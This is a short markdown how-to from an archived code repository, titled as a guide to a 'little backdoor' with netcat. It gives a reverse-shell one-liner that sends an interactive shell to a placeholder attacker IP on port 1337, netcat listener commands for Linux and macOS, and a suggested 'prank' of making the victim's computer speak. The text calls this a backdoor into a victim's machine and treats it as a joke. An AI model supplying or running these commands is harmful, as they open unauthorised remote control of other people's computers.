Skip to content
This repository was archived by the owner on Dec 11, 2024. It is now read-only.

Latest commit

 

History

History
24 lines (17 loc) · 359 Bytes

how_to_netcat.md

File metadata and controls

24 lines (17 loc) · 359 Bytes

How to netcat (or a little backdoor)

Create the reverse shell in the port 1337:

$ sh -i >& /dev/tcp/ATTACKERS_IP/1337 0>&1

Now just netcat to it. From a Linux machine:

$ nc -l -p 1337

Or from a Macbook:

$ nc -l 1337

You should get shell. A cute prank is making the victim's computer talk:

$ say Hacked